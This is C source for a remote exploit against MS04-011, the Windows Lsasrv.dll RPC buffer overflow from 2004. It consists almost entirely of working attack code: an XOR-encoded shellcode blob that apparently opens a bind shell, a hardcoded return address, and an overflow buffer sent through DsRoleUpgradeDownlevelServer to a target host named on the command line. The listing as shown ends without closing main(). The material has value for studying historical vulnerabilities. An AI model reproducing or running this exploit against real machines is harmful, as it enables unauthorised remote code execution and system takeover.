/******************************************************************
* Windows Lsasrv.dll RPC Remote Exploit
* [MS04-011]
*
* Bug found by: eEye (CoOL!!! :)
*
* Author: mslug (a1476854#hotmail.com), All rights reserved.
*
* Version: 0.2
*
* Tested: Win2k pro en sp4
*
* Compile: cl winlsass.c
*
* Date: 22 Apr 2004
*******************************************************************/

#include <windows.h>

/* from www.cnhonker.com */
unsigned char scode[] =
// decode
"\xEB\x10\x5F\x4f\x33\xC9\x66\xB9\x7D\x01\x80\x34\x0F\x99\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF"
// shellcode
"\x70\x95\x98\x99\x99\xC3\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12"
"\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5\x12\xED\x87\xE1\x9A"
"\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA\x74\xCF\xCE\xC8\x12\xA6"
"\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED\x91\xC0\xC6\x1A\x5E\x9D"
"\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF\xBD\x9A\x5A\x48\x78\x9A"
"\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A\x5A\x58\x78\x9B\x9A\x58"
"\x12\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F\x97\x12\x49\xF3\x9A\xC0"
"\x71\x1E\x99\x99\x99\x1A\x5F\x94\xCB\xCF\x66\xCE\x65\xC3\x12\x41"
"\xF3\x9C\xC0\x71\xED\x99\x99\x99\xC9\xC9\xC9\xC9\xF3\x98\xF3\x9B"
"\x66\xCE\x75\x12\x41\x5E\x9E\x9B\x99\x99\xAC\xAA\x59\x10\xDE\x9D"
"\xF3\x89\xCE\xCA\x66\xCE\x69\xF3\x98\xCA\x66\xCE\x6D\xC9\xC9\xCA"
"\x66\xCE\x61\x12\x49\x1A\x75\xDD\x12\x6D\xAA\x59\xF3\x89\xC0\x10"
"\x9D\x17\x7B\x62\x10\xCF\xA1\x10\xCF\xA5\x10\xCF\xD9\xFF\x5E\xDF"
"\xB5\x98\x98\x14\xDE\x89\xC9\xCF\xAA\x50\xC8\xC8\xC8\xF3\x98\xC8"
"\xC8\x5E\xDE\xA5\xFA\xF4\xFD\x99\x14\xDE\xA5\xC9\xC8\x66\xCE\x79"
"\xCB\x66\xCE\x65\xCA\x66\xCE\x65\xC9\x66\xCE\x7D\xAA\x59\x35\x1C"
"\x59\xEC\x60\xC8\xCB\xCF\xCA\x66\x4B\xC3\xC0\x32\x7B\x77\xAA\x59"
"\x5A\x71\x76\x67\x66\x66\xDE\xFC\xED\xC9\xEB\xF6\xFA\xD8\xFD\xFD"
"\xEB\xFC\xEA\xEA\x99\xDA\xEB\xFC\xF8\xED\xFC\xC9\xEB\xF6\xFA\xFC"
"\xEA\xEA\xD8\x99\xDC\xE1\xF0\xED\xCD\xF1\xEB\xFC\xF8\xFD\x99\xD5"
"\xF6\xF8\xFD\xD5\xF0\xFB\xEB\xF8\xEB\xE0\xD8\x99\xEE\xEA\xAB\xC6"
"\xAA\xAB\x99\xCE\xCA\xD8\xCA\xF6\xFA\xF2\xFC\xED\xD8\x99\xFB\xF0"
"\xF7\xFD\x99\xF5\xF0\xEA\xED\xFC\xF7\x99\xF8\xFA\xFA\xFC\xE9\xED"
"\x99\xFA\xF5\xF6\xEA\xFC\xEA\xF6\xFA\xF2\xFC\xED\x99";

#define call_ebx 0x78542001 //lsasrv.dll

int WINAPI (*DsRoleUpgradeDownlevelServer)
(DWORD, DWORD, DWORD, DWORD, DWORD, DWORD,
DWORD, DWORD, DWORD, DWORD, DWORD, DWORD);

#define LEN 10000

char buf[LEN+1];
char sendbuf[(LEN+1)*2];
char buf2[2000];
char target2[200];

int main(int argc, char *argv[])
{
HMODULE hNetapi;
int ret;
int i;
char c, *target;

if (argc < 2) {
printf("%s <target_host>", argv[0]);
return 0;
}

target = argv[1];

hNetapi = LoadLibrary("myNetapi.dll");
if (!hNetapi) {
printf("[-] Can't load myNetapi32.dll.\n");
exit(0);
}

(DWORD *)DsRoleUpgradeDownlevelServer = (DWORD *)GetProcAddress(hNetapi, "DsRoleUpgradeDownlevelServer");

if (!DsRoleUpgradeDownlevelServer) {
printf("[-] Can't find function.\n");
exit(0);
}

memset(buf, '\x90', LEN);

memcpy(&buf[2840], "\xeb\x06\xeb\x06", 4);
*(DWORD *)&buf[2844] = call_ebx;
memcpy(&buf[2856], scode, strlen(scode));

for(i=0; i<LEN; i++) { //unicode
sendbuf[i*2] = buf[i];
sendbuf[i*2+1] = 0;
}

memset(target2, 0, 100);
for(i=0; i<strlen(target); i++) {
target2[i*2] = target[i];
target2[i*2+1] = 0;
}

memset(buf2, 0, 2000);

DsRoleUpgradeDownlevelServer(&sendbuf[0], &buf2[0], &buf2[0], &buf2[0], &buf2[0], &buf2[0],
&buf2[0], &buf2[0], target2, &buf2[0], &buf2[0], &buf2[0]);